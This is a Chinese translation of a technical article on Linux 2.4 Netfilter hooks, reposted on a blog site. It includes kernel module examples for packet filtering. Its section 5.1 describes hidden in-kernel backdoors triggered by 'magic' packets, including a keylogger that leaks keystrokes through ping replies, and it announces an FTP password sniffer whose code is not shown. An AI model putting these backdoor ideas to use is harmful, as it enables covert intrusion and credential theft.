日韩av黄I国产麻豆传媒I国产91av视频在线观看I日韩一区二区三区在线看I美女国产在线I麻豆视频国产在线观看I成人黄色短片

歡迎訪問 生活随笔!

生活随笔

當(dāng)前位置: 首頁(yè) >

Netfilter 详解

發(fā)布時(shí)間:2024/9/5 46 豆豆
生活随笔 收集整理的這篇文章主要介紹了 Netfilter 详解 小編覺得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.

其他不錯(cuò)的文章:

http://bbs.chinaunix.net/thread-2196854-1-1.html


引用:

http://blog.chinaunix.net/uid-24977843-id-2983321.html

目錄
1 - 簡(jiǎn)介 1.1 - 本文涉及的內(nèi)容 1.2 - 本文不涉及的內(nèi)容 2 - 各種Netfilter hook及其用法 2.1 - Linux內(nèi)核對(duì)數(shù)據(jù)包的處理 2.2 - Netfilter對(duì)IPv4的hook 3 - 注冊(cè)和注銷Netfilter hook 4 - Netfilter 基本的數(shù)據(jù)報(bào)過濾技術(shù)[1] 4.1 - 深入hook函數(shù) 4.2 - 基于接口進(jìn)行過濾 4.3 - 基于地址進(jìn)行過濾 4.4 - 基于TCP端口進(jìn)行過濾 5 - Netfilter hook的其它可能用法 5.1 - 隱藏后門的守護(hù)進(jìn)程 5.2 - 基于內(nèi)核的FTP密碼嗅探器 5.2.1 - 源代碼 : nfsniff.c 5.2.2 - 源代碼 : getpass.c 6 - 在Libpcap中隱藏網(wǎng)絡(luò)通信 6.1 - SOCK_PACKET、SOCK_RAW與Libpcap 6.2 - 給狼披上羊皮 7 - 結(jié)束語(yǔ) A - 輕量級(jí)防火墻 A.1 - 概述 A.2 - 源代碼 : lwfw.c A.3 - 頭文件 : lwfw.h B - 第6節(jié)中的源代碼
--[ 1 - 簡(jiǎn)介
本文將向你展示,Linux的網(wǎng)絡(luò)堆棧的一些怪異行為(并不一定是弱點(diǎn))如何被用于邪惡的或者是其它形形色色的目的。在這里將要討論的是將表面上看起來合法的Netfilter hook用于后門的通信,以及一種使特定的網(wǎng)絡(luò)通信在運(yùn)行于本機(jī)的基于Libpcap的嗅探器中消聲匿跡的技術(shù)。 Netfilter是Linux 2.4內(nèi)核的一個(gè)子系統(tǒng),Netfiler使得諸如數(shù)據(jù)包過濾、網(wǎng)絡(luò)地址轉(zhuǎn)換(NAT)以及網(wǎng)絡(luò)連接跟蹤等技巧成為可能,這些功能僅通過使用內(nèi)核網(wǎng)絡(luò)代碼 提供的各式各樣的hook既可以完成。這些hook位于內(nèi)核代碼中,要么是靜態(tài)鏈接的,要么是以動(dòng)態(tài)加載的模塊的形式存在。可以為指定的網(wǎng)絡(luò)事件注冊(cè)相應(yīng) 的回調(diào)函數(shù),數(shù)據(jù)包的接收就是這樣一個(gè)例子。

----[ 1.1 - 本文涉及的內(nèi)容 本文討論模塊編寫者如何利用Netfilter hook來實(shí)現(xiàn)任意目的以及如何將將網(wǎng)絡(luò)通信在基于Libpcap的應(yīng)用程序中隱藏。雖然Linux 2.4支持對(duì)IPv4、IPv6以及DECnet的hook,但在本文中將只討論關(guān)于IPv4的話題,雖然如此,大部分關(guān)于IPv4的內(nèi)容都同樣可以運(yùn)用 于其它幾種協(xié)議。出于教學(xué)的目的,附錄A提供了一個(gè)可用的、提供基本的包過濾的內(nèi)核模塊。本文中所有的開發(fā)和試驗(yàn)都在運(yùn)行于Intel主機(jī)上的Linux 2.4.5中完成。對(duì)Netfilter hook功能的測(cè)試在環(huán)回接口、以太網(wǎng)接口以及調(diào)制解調(diào)器點(diǎn)對(duì)點(diǎn)接口上完成。 本文也是出于我對(duì)Netfilter完全理解的嘗試的興趣而寫的。我并不能保證文中附帶的任何代碼100%的沒有錯(cuò)誤,但是我已經(jīng)測(cè)試了所有 在這里提供的代碼。我已經(jīng)受夠了核心錯(cuò)誤的折磨,因此真誠(chéng)的希望你不會(huì)再如此。同樣,我不會(huì)為任何按照本文所述進(jìn)行的操作中可能發(fā)生的損害承擔(dān)責(zé)任。本文 假定讀者熟悉C語(yǔ)言編程并且有一定的關(guān)于可加載模塊的經(jīng)驗(yàn)。 歡迎對(duì)本文中出現(xiàn)的錯(cuò)誤進(jìn)行批評(píng)指正,我同時(shí)開誠(chéng)布公的接受對(duì)本文的改進(jìn)以及其它各種關(guān)于Netfilter的優(yōu)秀技巧的建議。 ---- [ 1.2 - 本文不涉及的內(nèi)容
本文不是一個(gè)完全的關(guān)于Netfilter的細(xì)節(jié)上的參考資料,同樣,也不是一個(gè)關(guān)于iptables的命令的參考資料。如果你想了解更多的關(guān)于iptables的命令,請(qǐng)參考相關(guān)的手冊(cè)頁(yè)。 好了,讓我們從Netfilter的使用介紹開始 ...
--[ 2 - 各種Netfilter hook及其用法 ----[ 2.1 - Linux內(nèi)核對(duì)數(shù)據(jù)包的處理 看起來好像是我很喜歡深入到諸如Linux的數(shù)據(jù)包處理以及事件的發(fā)生以及跟蹤每一個(gè)Netfilter hook這樣的血淋淋的細(xì)節(jié)中,事實(shí)并非如此!原因很簡(jiǎn)單,Harald Welte已經(jīng)寫了一篇關(guān)于這個(gè)話題的優(yōu)秀的文章??《Journey ?of a Packet Through the Linux 2.4 Network Stack》。如果你想了解更多的關(guān)于Linux數(shù)據(jù)包處理的內(nèi)容,我強(qiáng)烈推薦你去拜讀這篇文章。現(xiàn)在,僅需要理解:當(dāng)數(shù)據(jù)包游歷Linux內(nèi)核的網(wǎng)絡(luò)堆棧時(shí),它穿過了幾個(gè)hook點(diǎn),在這里,數(shù)據(jù)包可以被分析并且選擇是保留還是丟棄,這些hook點(diǎn)就是Netfilter hook。
----[ 2.2 - Netfilter對(duì)IPv4的hook
Netfilter中定義了五個(gè)關(guān)于IPv4的hook,對(duì)這些符號(hào)的聲明可以在linux/netfilter_ipv4.h中找到。這些hook列在下面的表中: 表1 : 可用的IPv4 hook
Hook ? ? ? ? ? ? ? ?調(diào)用的時(shí)機(jī) NF_IP_PRE_ROUTING ? ?在完整性校驗(yàn)之后,選路確定之前 NF_IP_LOCAL_IN ? ? ? ?在選路確定之后,且數(shù)據(jù)包的目的是本地主機(jī) NF_IP_FORWARD ? ? ? ?目的地是其它主機(jī)地?cái)?shù)據(jù)包 NF_IP_LOCAL_OUT ? ? ? ?來自本機(jī)進(jìn)程的數(shù)據(jù)包在其離開本地主機(jī)的過程中 NF_IP_POST_ROUTING ? ?在數(shù)據(jù)包離開本地主機(jī)“上線”之前
NF_IP_PRE_ROUTING這個(gè)hook是數(shù)據(jù)包被接收到之后調(diào)用的第一個(gè)hook,這個(gè)hook既是稍后將要描述的模塊所用到的。當(dāng)然,其它的hook同樣非常有用,但是在這里,我們的焦點(diǎn)是在NF_IP_PRE_ROUTING這個(gè)hook上。
在hook函數(shù)完成了對(duì)數(shù)據(jù)包所需的任何的操作之后,它們必須返回下列預(yù)定義的Netfilter返回值中的一個(gè): 表2 : Netfilter返回值
返回值 ? ? ? ? ? ? ? ?含義 NF_DROP ? ? ? ? ? ? ? ?丟棄該數(shù)據(jù)包 NF_ACCEPT ? ? ? ? ? ?保留該數(shù)據(jù)包 NF_STOLEN ? ? ? ? ? ?忘掉該數(shù)據(jù)包 NF_QUEUE ? ? ? ? ? ?將該數(shù)據(jù)包插入到用戶空間 NF_REPEAT ? ? ? ? ? ?再次調(diào)用該hook函數(shù)
NF_DROP這個(gè)返回值的含義是該數(shù)據(jù)包將被完全的丟棄,所有為它分配的資源都應(yīng)當(dāng)被釋放。NF_ACCEPT這個(gè)返回值告訴Netfilter:到目前為止,該數(shù)據(jù)包還是被接受的并且該數(shù)據(jù)包應(yīng)當(dāng)被遞交到網(wǎng)絡(luò)堆棧的下一個(gè)階段。NF_STOLEN是一個(gè)有趣的返回值,因?yàn)樗嬖VNetfilter,“忘掉”這個(gè)數(shù)據(jù)包。這里告訴Netfilter的是:該hook函數(shù)將從此開始對(duì)數(shù)據(jù)包的處理,并且Netfilter應(yīng)當(dāng)放棄對(duì)該數(shù)據(jù)包做任何的處理。但是,這并不意味著該數(shù)據(jù)包的資源已經(jīng)被釋放。這個(gè)數(shù)據(jù)包以及它獨(dú)自的sk_buff數(shù)據(jù)結(jié)構(gòu)仍然有效,只是hook函數(shù)從Netfilter獲取了該數(shù)據(jù)包的所有權(quán)。不幸的是,我還不是完全的清楚NF_QUEUE到底是如果工作的,因此在這里我不討論它。最后一個(gè)返回值NF_REPEAT請(qǐng)求Netfilter再次調(diào)用這個(gè)hook函數(shù)。顯然,使用者應(yīng)當(dāng)謹(jǐn)慎使用NF_REPEAT這個(gè)返回值,以免造成死循環(huán)。 --[3 - 注冊(cè)和注銷Netfilter hook
注冊(cè)一個(gè)hook函數(shù)是圍繞nf_hook_ops數(shù)據(jù)結(jié)構(gòu)的一個(gè)非常簡(jiǎn)單的操作,nf_hook_ops數(shù)據(jù)結(jié)構(gòu)在linux/netfilter.h中定義,該數(shù)據(jù)結(jié)構(gòu)的定義如下:
struct nf_hook_ops { struct list_head list;
nf_hookfn *hook; int pf; int hooknum; int priority; };
該數(shù)據(jù)結(jié)構(gòu)中的list成員用于維護(hù)Netfilter hook的列表,并且不是用戶在注冊(cè)hook時(shí)需要關(guān)心的重點(diǎn)。hook成員是一個(gè)指向nf_hookfn類型的函數(shù)的指針,該函數(shù)是這個(gè)hook被調(diào)用 時(shí)執(zhí)行的函數(shù)。nf_hookfn同樣在linux/netfilter.h中定義。pf這個(gè)成員用于指定協(xié)議族。有效的協(xié)議族在linux /socket.h中列出,但對(duì)于IPv4我們希望使用協(xié)議族PF_INET。hooknum這個(gè)成員用于指定安裝的這個(gè)函數(shù)對(duì)應(yīng)的具體的hook類型, 其值為表1中列出的值之一。最后,priority這個(gè)成員用于指定在執(zhí)行的順序中,這個(gè)hook函數(shù)應(yīng)當(dāng)在被放在什么地方。對(duì)于IPv4,可用的值在 linux/netfilter_ipv4.h的nf_ip_hook_priorities枚舉中定義。出于示范的目的,在后面的模塊中我們將使用 NF_IP_PRI_FIRST。 注冊(cè)一個(gè)Netfilter hook需要調(diào)用nf_register_hook()函數(shù),以及用到一個(gè)nf_hook_ops數(shù)據(jù)結(jié)構(gòu)。nf_register_hook()函數(shù)以 一個(gè)nf_hook_ops數(shù)據(jù)結(jié)構(gòu)的地址作為參數(shù)并且返回一個(gè)整型的值。但是,如果你真正的看了在net/core/netfilter.c中的 nf_register_hook()函數(shù)的實(shí)現(xiàn)代碼,你會(huì)發(fā)現(xiàn)該函數(shù)總是返回0。以下提供的是一個(gè)示例代碼,該示例代碼簡(jiǎn)單的注冊(cè)了一個(gè)丟棄所有到達(dá)的 數(shù)據(jù)包的函數(shù)。該代碼同時(shí)展示了Netfilter的返回值如何被解析。
示例代碼1 : Netfilter hook的注冊(cè)
#define __KERNEL__ #define MODULE
#include <linux/module.h> ? #include <linux/kernel.h>? #include <linux/netfilter.h>? #include <linux/netfilter_ipv4.h>?
static struct nf_hook_ops nfho;
unsigned int hook_func(unsigned int hooknum, struct sk_buff **skb, const struct net_device *in, const struct net_device *out, int (*okfn)(struct sk_buff *)) { return NF_DROP; ? ? ? ? ? }
int init_module() { nfho.hook = hook_func; ? ? ? ? nfho.hooknum ?= NF_IP_PRE_ROUTING; nfho.pf ? ? ? = PF_INET; nfho.priority = NF_IP_PRI_FIRST; ?
nf_register_hook(&nfho);
return 0; }
void cleanup_module() { nf_unregister_hook(&nfho); }
這就是全部?jī)?nèi)容,從示例代碼1中,你可以看到,注銷一個(gè)Netfilter hook是一件很簡(jiǎn)單事情,只需要調(diào)用nf_unregister_hook()函數(shù),并且以你之前用于注冊(cè)這個(gè)hook時(shí)用到的相同的數(shù)據(jù)結(jié)構(gòu)的地址作為參數(shù)。
-- [4 - Netfilter 基本的數(shù)據(jù)報(bào)過濾技術(shù) ---- [4.1 - 深入hook函數(shù)
現(xiàn)在是到了看看什么數(shù)據(jù)被傳遞到hook函數(shù)中以及這些數(shù)據(jù)如何被用于做過濾選擇的時(shí)候了。那么,讓我們更深入的看看nf_hookfn函數(shù)的原型吧。這個(gè)函數(shù)原型在linux/netfilter.h中給出,如下:
typedef unsigned int nf_hookfn(unsigned int hooknum, struct sk_buff **skb, const struct net_device *in, const struct net_device *out, int (*okfn)(struct sk_buff *));
nf_hookfn函數(shù)的第一個(gè)參數(shù)用于指定表1中給出的hook類型中的一個(gè)。第二個(gè)參數(shù)更加有趣,它是一個(gè)指向指針的指針,該指針指向的 指針指向一個(gè)sk_buff數(shù)據(jù)結(jié)構(gòu),網(wǎng)絡(luò)堆棧用sk_buff數(shù)據(jù)結(jié)構(gòu)來描述數(shù)據(jù)包。這個(gè)數(shù)據(jù)結(jié)構(gòu)在linux/skbuff.h中定義,由于它的內(nèi)容 太多,在這里我將僅列出其中有意義的部分。
sk_buff數(shù)據(jù)結(jié)構(gòu)中最有用的部分可能就是那三個(gè)描述傳輸層包頭(例如:UDP, TCP, ICMP, SPX)、網(wǎng)絡(luò)層包頭(例如:IPv4/6, IPX, RAW)以及鏈路層包頭(例如:以太網(wǎng)或者RAW)的聯(lián)合(union)了。這三個(gè)聯(lián)合的名字分別是h、nh以及mac。這些聯(lián)合包含了幾個(gè)結(jié)構(gòu),依賴于 具體的數(shù)據(jù)包中使用的協(xié)議。使用者應(yīng)當(dāng)注意:傳輸層包頭和網(wǎng)絡(luò)層包頭可能是指向內(nèi)存中的同一個(gè)位置。這是TCP數(shù)據(jù)包可能出現(xiàn)的情況,其中h和nh都應(yīng)當(dāng) 被看作是指向IP頭結(jié)構(gòu)的指針。這意味著嘗試通過h->th獲取一個(gè)值,并認(rèn)為該指針指向一個(gè)TCP頭,將會(huì)得到錯(cuò)誤的結(jié)果。因?yàn)閔->th 實(shí)際上是指向的IP頭,與nh->iph得到的結(jié)果相同。
接下來讓我們感興趣的其它部分是len和data這兩個(gè)域。len指定了從data開始的數(shù)據(jù)包中的數(shù)據(jù)的總長(zhǎng)度。好了,現(xiàn)在我們知道如何在sk_buff數(shù)據(jù)結(jié)構(gòu)中分別訪問協(xié)議頭和數(shù)據(jù)包中的數(shù)據(jù)了。Netfilter hook函數(shù)中有用的信息中其它的有趣的部分是什么呢?
緊跟在skb之后的兩個(gè)參數(shù)是指向net_device數(shù)據(jù)結(jié)構(gòu)的指針,net_device數(shù)據(jù)結(jié)構(gòu)被Linux內(nèi)核用于描述所有類型的網(wǎng) 絡(luò)接口。這兩個(gè)參數(shù)中的第一個(gè)??in,用于描述數(shù)據(jù)包到達(dá)的接口,毫無疑問,參數(shù)out用于描述數(shù)據(jù)包離開的接口。必須明白,在通常情況下,這兩個(gè)參數(shù) 中將只有一個(gè)被提供。例如:參數(shù)in只用于NF_IP_PRE_ROUTING和NF_IP_LOCAL_IN hook,參數(shù)out只用于NF_IP_LOCAL_OUT和NF_IP_POST_ROUTING hook。在這一個(gè)階段中,我還沒有測(cè)試對(duì)于NF_IP_FORWARD hook,這兩個(gè)參數(shù)中哪些是有效的,但是如果你能在使用之前先確定這些指針是非空的,那么你是非常優(yōu)秀的!
最后,傳遞給hook函數(shù)的最后一個(gè)參數(shù)是一個(gè)命名為okfn函數(shù)指針,該函數(shù)以一個(gè)sk_buff數(shù)據(jù)結(jié)構(gòu)作為它唯一的參數(shù),并且返回一個(gè)整型的值。我不是很確定這個(gè)函數(shù)是干什么用的,在net/core/netfilter.c中查看,有兩個(gè)地方調(diào)用了這個(gè)okfn函數(shù)。這兩個(gè)地方是分別在函數(shù)nf_hook_slow()中以及函數(shù)nf_reinject()中,在其中的某個(gè)位置,當(dāng)Netfilter hook的返回值為NF_ACCEPT時(shí)被調(diào)用。如果任何人有更多的關(guān)于okfn函數(shù)的信息,請(qǐng)務(wù)必告知。 ** 譯注:Linux核心網(wǎng)絡(luò)堆棧中有一個(gè)全局變量 : struct list_head nf_hooks[NPROTO][NF_MAX_HOOKS],該變量是一個(gè)二維數(shù)組,其中第一維用于指定協(xié)議族,第二維用于指定hook的類型(表1中定義的類型)。注冊(cè)一個(gè)Netfilter hook實(shí)際就是在由協(xié)議族和hook類型確定的鏈表中添加一個(gè)新的節(jié)點(diǎn)。 以下代碼摘自 net/core/netfilter,nf_register_hook()函數(shù)的實(shí)現(xiàn): int nf_register_hook(struct nf_hook_ops *reg) { struct list_head *i;
br_write_lock_bh(BR_NETPROTO_LOCK); for (i = nf_hooks[reg->pf][reg->hooknum].next;? i != &nf_hooks[reg->pf][reg->hooknum];? i = i->next) { if (reg->priority < ((struct nf_hook_ops *)i)->priority) break; } list_add(?->list, i->prev); br_write_unlock_bh(BR_NETPROTO_LOCK); return 0; }
Netfilter中定義了一個(gè)宏NF_HOOK,作者在前面提到的nf_hook_slow()函數(shù)實(shí)際上就是NF_HOOK宏定義替換的 對(duì)象,在NF_HOOK中執(zhí)行注冊(cè)的hook函數(shù)。NF_HOOK在Linux核心網(wǎng)絡(luò)堆棧的適當(dāng)?shù)牡胤揭赃m當(dāng)?shù)膮?shù)調(diào)用。例如,在ip_rcv()函數(shù) (位于net/ipv4/ip_input.c)的最后部分,調(diào)用NF_HOOK函數(shù),執(zhí)行NF_IP_PRE_ROUTING類型的hook。 ip_rcv()是Linux核心網(wǎng)絡(luò)堆棧中用于接收IPv4數(shù)據(jù)包的主要函數(shù)。在NF_HOOK的參數(shù)中,頁(yè)包含一個(gè)okfn函數(shù)指針,該函數(shù)是用于數(shù) 據(jù)包被接收后完成后續(xù)的操作,例如在ip_rcv中調(diào)用的NF_HOOK中的okfn函數(shù)指針指向ip_rcv_finish()函數(shù)(位于 net/ipv4/ip_input.c),該函數(shù)用于IP數(shù)據(jù)包被接收后的諸如IP選項(xiàng)處理等后續(xù)處理。 如果在內(nèi)核編譯參數(shù)中取消CONFIG_NETFILTER宏定義,NF_HOOK宏定義直接被替換為okfn,內(nèi)核代碼中的相關(guān)部分如下(linux/netfilter.h):
#ifdef CONFIG_NETFILTER ... #ifdef CONFIG_NETFILTER_DEBUG #define NF_HOOK nf_hook_slow #else #define NF_HOOK(pf, hook, skb, indev, outdev, okfn) ? ? ? ? ? ?\ (list_empty(&nf_hooks[(pf)][(hook)]) ? ? ? ? ? ? ? ? ? ?\ ? (okfn)(skb) ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?\ : nf_hook_slow((pf), (hook), (skb), (indev), (outdev), (okfn))) #endif ... #else #define NF_HOOK(pf, hook, skb, indev, outdev, okfn) (okfn)(skb) #endif 可見okfn函數(shù)是必不可少的,當(dāng)Netfilter被啟用時(shí),它用于完成接收的數(shù)據(jù)包后的后續(xù)操作,如果不啟用Netfilter做數(shù)據(jù)包過濾,則所有的數(shù)據(jù)包都被接受,直接調(diào)用該函數(shù)做后續(xù)操作。 ** 譯注完 現(xiàn)在,我們已經(jīng)了解了我們的hook函數(shù)接收到的信息中最有趣和最有用的部分,是該看看我們?nèi)绾我愿鞣N各樣的方式來利用這些信息來過濾數(shù)據(jù)包的時(shí)候了! ----[4.2 - 基于接口進(jìn)行過濾
這應(yīng)該是我們能做的最簡(jiǎn)單的過濾技術(shù)了。還記得我們的hook函數(shù)接收的參數(shù)中的那些net_device數(shù)據(jù)結(jié)構(gòu)嗎?使用相應(yīng)的 net_device數(shù)據(jù)結(jié)構(gòu)的name這個(gè)成員,你就可以根據(jù)數(shù)據(jù)包的源接口和目的接口來選擇是否丟棄它。如果想丟棄所有到達(dá)接口eth0的數(shù)據(jù)包,所 有你需要做的僅僅是將in->name的值與"eth0"做比較,如果名字匹配,那么hook函數(shù)簡(jiǎn)單的返回NF_DROP即可,數(shù)據(jù)包會(huì)被自動(dòng)銷 毀。就是這么簡(jiǎn)單!完成該功能的示例代碼見如下的示例代碼2。注意,Light-Weight FireWall模塊將會(huì)提供所有的本文提到的過濾方法的簡(jiǎn)單示例。它還包含了一個(gè)IOCTL接口以及用于動(dòng)態(tài)改變其特性的應(yīng)用程序。 示例代碼2 : 基于源接口的數(shù)據(jù)包過濾
#define __KERNEL__ #define MODULE #include? #include? #include? #include? #include? static struct nf_hook_ops nfho;
static char *drop_if = "lo";
unsigned int hook_func(unsigned int hooknum, struct sk_buff **skb, const struct net_device *in, const struct net_device *out, int (*okfn)(struct sk_buff *)) { if (strcmp(in->name, drop_if) == 0) { printk("Dropped packet on %s...\n", drop_if); return NF_DROP; } else { return NF_ACCEPT; } }
int init_module() { nfho.hook ? ? = hook_func; ? ? ? ? nfho.hooknum ?= NF_IP_PRE_ROUTING; nfho.pf ? ? ? = PF_INET; nfho.priority = NF_IP_PRI_FIRST; ?
nf_register_hook(&nfho); return 0; } void cleanup_module() { nf_unregister_hook(&nfho); }
是不是很簡(jiǎn)單?接下來,讓我們看看基于IP地址的過濾。
----[ 4.3 - 基于地址進(jìn)行過濾
與根據(jù)數(shù)據(jù)包的接口進(jìn)行過濾類似,基于數(shù)據(jù)包的源或目的IP地址進(jìn)行過濾同樣簡(jiǎn)單。這次我們感興趣的是sk_buff數(shù)據(jù)結(jié)構(gòu)。還記得skb 參數(shù)是一個(gè)指向sk_buff數(shù)據(jù)結(jié)構(gòu)的指針的指針嗎?為了避免犯錯(cuò)誤,聲明一個(gè)另外的指向skb_buff數(shù)據(jù)結(jié)構(gòu)的指針并且將skb指針指向的指針賦 值給這個(gè)新的指針是一個(gè)好習(xí)慣,就像這樣: struct sk_buff *sb = *skb; ? ? ...
static int check_ip_packet(struct sk_buff *skb) { if (!skb )return NF_ACCEPT; if (!(skb->nh.iph)) return NF_ACCEPT; if (skb->nh.iph->saddr == *(unsigned int *)deny_ip) {? return NF_DROP; }
return NF_ACCEPT; } 這樣,如果數(shù)據(jù)包的源地址與我們?cè)O(shè)定的丟棄數(shù)據(jù)包的地址匹配,那么該數(shù)據(jù)包將被丟棄。為了使這個(gè)函數(shù)能按預(yù)期的方式工作,deny_ip的值應(yīng)當(dāng)以網(wǎng)絡(luò)字節(jié)序(Big-endian,與Intel相反)存放。雖然這個(gè)函數(shù)不太可能以一個(gè)空的指針作為參數(shù)來調(diào)用,帶一點(diǎn)點(diǎn)偏執(zhí)狂從來不會(huì)有什么壞處。當(dāng)然,如果錯(cuò)誤確實(shí)發(fā)生了,那么該函數(shù)將會(huì)返回NF_ACCEPT。這樣Netfilter可以繼續(xù)處理這個(gè)數(shù)據(jù)包。示例代碼4展現(xiàn)了用于演示將基于接口的過濾略做修改以丟棄匹配給定IP地址的數(shù)據(jù)包的簡(jiǎn)單模塊。 示例代碼4 : 基于數(shù)據(jù)包源地址的過濾
#define __KERNEL__ #define MODULE
#include? #include? #include? #include ? ? ? ? ? ? ? ? ? #include? #include?
static struct nf_hook_ops nfho;
static unsigned char *drop_ip = "\x7f\x00\x00\x01";
unsigned int hook_func(unsigned int hooknum, struct sk_buff **skb, const struct net_device *in, const struct net_device *out, int (*okfn)(struct sk_buff *)) { struct sk_buff *sb = *skb; // 譯注:作者提供的代碼中比較地址是否相同的方法是錯(cuò)誤的,見注釋掉的部分 if (sb->nh.iph->saddr == *(unsigned int *)drop_ip) { // if (sb->nh.iph->saddr == drop_ip) { printk("Dropped packet from... %d.%d.%d.%d\n", *drop_ip, *(drop_ip + 1), *(drop_ip + 2), *(drop_ip + 3)); return NF_DROP; } else { return NF_ACCEPT; } }
int init_module() { nfho.hook ? ? ? = hook_func; ? ? ? ? nfho.hooknum ?= NF_IP_PRE_ROUTING; nfho.pf ? ? ? = PF_INET; nfho.priority = NF_IP_PRI_FIRST; ?
nf_register_hook(&nfho);
return 0; }
void cleanup_module() { nf_unregister_hook(&nfho); }

----[ 4.4 - 基于TCP端口進(jìn)行過濾
另一個(gè)要實(shí)現(xiàn)的簡(jiǎn)單規(guī)則是基于數(shù)據(jù)包的TCP目的端口進(jìn)行過濾。這只比檢查IP地址的要求要高一點(diǎn)點(diǎn),因?yàn)槲覀冃枰约簞?chuàng)建一個(gè)TCP頭的指 針。還記得我們前面討論的關(guān)于傳輸層包頭與網(wǎng)絡(luò)層包頭的內(nèi)容嗎?獲取一個(gè)TCP頭的指針是一件簡(jiǎn)單的事情??分配一個(gè)tcphdr數(shù)據(jù)結(jié)構(gòu)(在 linux/tcp.h中定義)的指針,并將它指向我們的數(shù)據(jù)包中IP頭之后的數(shù)據(jù)。或許一個(gè)例子的幫助會(huì)更大一些,示例代碼5給出了檢查數(shù)據(jù)包的TCP 目的端口是否與某個(gè)我們要丟棄數(shù)據(jù)包的端口匹配的代碼。與示例代碼3一樣,這些代碼摘自LWFW。 示例代碼5 : 檢查收到的數(shù)據(jù)包的TCP目的端口 unsigned char *deny_port = "\x00\x19"; ?
...
static int check_tcp_packet(struct sk_buff *skb) { struct tcphdr *thead;
if (!skb ) return NF_ACCEPT; if (!(skb->nh.iph)) return NF_ACCEPT;
if (skb->nh.iph->protocol != IPPROTO_TCP) { return NF_ACCEPT; }
thead = (struct tcphdr *)(skb->data + (skb->nh.iph->ihl * 4));
if ((thead->dest) == *(unsigned short *)deny_port) { return NF_DROP; } return NF_ACCEPT; }
確實(shí)很簡(jiǎn)單!不要忘了,要讓這個(gè)函數(shù)工作,deny_port必須是網(wǎng)絡(luò)字節(jié)序。這就是數(shù)據(jù)包過濾的基礎(chǔ)了,你應(yīng)當(dāng)已經(jīng)清楚的理解了對(duì)于一個(gè)特定的數(shù)據(jù)包,如何獲取你想要的信息。現(xiàn)在,是該進(jìn)入更有趣的內(nèi)容的時(shí)候了!
--[ 5 - Netfilter hook的其它可能用法
在這里,我將提出其它很酷的利用Netfilter hook的點(diǎn)子,5.1節(jié)將簡(jiǎn)單的給出精神食糧,而5.2節(jié)將討論和給出可以工作的基于內(nèi)核的FTP密碼嗅探器的代碼,它的遠(yuǎn)程密碼獲取功能是確實(shí)可用的。事實(shí)上,它工作的令我吃驚的好,并且我編寫了它。 ----[ 5.1 - 隱藏后門的守護(hù)進(jìn)程
核心模塊編程也許是Linux開發(fā)中最有趣的部分之一了,在內(nèi)核中編寫代碼意味著你在一個(gè)僅受限于你的想象力的地方寫代碼。以惡意的觀點(diǎn)來 看,你可以隱藏文件、進(jìn)程,并且做各式各樣很酷的,任何的rootkit能夠做的事情。那么,以不太惡意的觀點(diǎn)來看(是的,持這中觀點(diǎn)人們的確存在),你 可以隱藏文件、進(jìn)程以及干各式各樣的事情。內(nèi)核真是一個(gè)迷人的樂園! 有了賦予內(nèi)核級(jí)程序員的強(qiáng)大力量,很多事情成為可能。其中最有趣的(也是讓系統(tǒng)管理員恐慌的)一個(gè)就是嵌入到內(nèi)核中的后門。畢竟,如果后門不 作為一個(gè)進(jìn)程運(yùn)行,那么我們?cè)趺粗浪倪\(yùn)行?當(dāng)然,還是有辦法讓你的內(nèi)核揪出這樣的后門來,但是它們可不像運(yùn)行ps命令一樣容易和簡(jiǎn)單。現(xiàn)今,將后門代 碼放到內(nèi)核中去的點(diǎn)子已經(jīng)并不新鮮了。但是,我在這里所提出的是安放一個(gè)用作內(nèi)核后門的簡(jiǎn)單的網(wǎng)絡(luò)服務(wù)。你猜對(duì)了,正是Netfilter hook! 如果你已經(jīng)具備必要的技能并且情愿以做試驗(yàn)的名義使你的內(nèi)核崩潰,那么你就可以構(gòu)建簡(jiǎn)單但是有用的,完全位于內(nèi)核中的,可以遠(yuǎn)程訪問的網(wǎng)絡(luò)服務(wù)了。基本上一個(gè)Netfilter hook可以通過觀察收到的數(shù)據(jù)包來查找一個(gè)“魔法”數(shù)據(jù)包,并且當(dāng)接收到這個(gè)“魔法”數(shù)據(jù)包時(shí)干指定的事情。結(jié)果可以通過Netfilter hook來發(fā)送。并且該hook函數(shù)可以返回NF_STOLEN,以使得收到的“魔法”數(shù)據(jù)包可以走得更遠(yuǎn)。但是要注意,當(dāng)以這種方式來發(fā)送時(shí),輸出數(shù)據(jù)包對(duì)于輸出Netfilter hook仍然是可見的。因此用戶空間完全不知道這個(gè)“魔法”數(shù)據(jù)包的曾經(jīng)到達(dá),但是它們還是能看到你送所出的。當(dāng)心!因?yàn)樵谛姑苤鳈C(jī)上的嗅探器不能看到這個(gè)包并不意味著在其它中間宿主主機(jī)上的嗅探器也看不到這個(gè)包。 kossak與lifeline曾為Phrack寫了一篇精彩的文章,該文描述了如何通過注冊(cè)數(shù)據(jù)包類型處理器來完成這樣的功能。雖然本文涉及的是Netfilter hook,我仍然建議閱讀他們的這篇文章(第55期,文件12),因?yàn)樗且黄o出了一些非常有趣的點(diǎn)子的有趣讀物。 那么,后門Netfilter hook可以干些什么工作呢?以下是一些建議: -- 遠(yuǎn)程訪問擊鍵記錄器(key-logger)。模塊記錄擊鍵,并且當(dāng)遠(yuǎn)程主機(jī)發(fā)送一個(gè)PING請(qǐng)求時(shí),結(jié)果被送到該主機(jī)。這樣,可以生成一個(gè)類似于穩(wěn)定的 (非洪水的)PING應(yīng)答流的擊鍵信息的流。當(dāng)然,你可能想要實(shí)現(xiàn)一個(gè)簡(jiǎn)單的加密,這樣,ASCII鍵不會(huì)立即暴露它們自己,并且某些警覺的系統(tǒng)管理員會(huì) 想:“堅(jiān)持,我以前都是通過我的SSH會(huì)話來鍵入那些的!Oh $%@T%&!”。 -- 各種簡(jiǎn)單的管理員任務(wù),例如獲取當(dāng)前登錄到主機(jī)的用戶的列表或責(zé)獲取打開的網(wǎng)絡(luò)連接的信息。 -- 并非一個(gè)真正的后門,而是位于網(wǎng)絡(luò)邊界的模塊,并且阻擋任何被疑為來自特洛伊木馬、ICMP隱蔽通道或者像KaZaa這樣的文件共享工具的通信。 -- 文件傳輸“服務(wù)器”。我最近已經(jīng)實(shí)現(xiàn)了這個(gè)主意,由此引起的Linux核心編程是數(shù)小時(shí)的樂趣:) -- 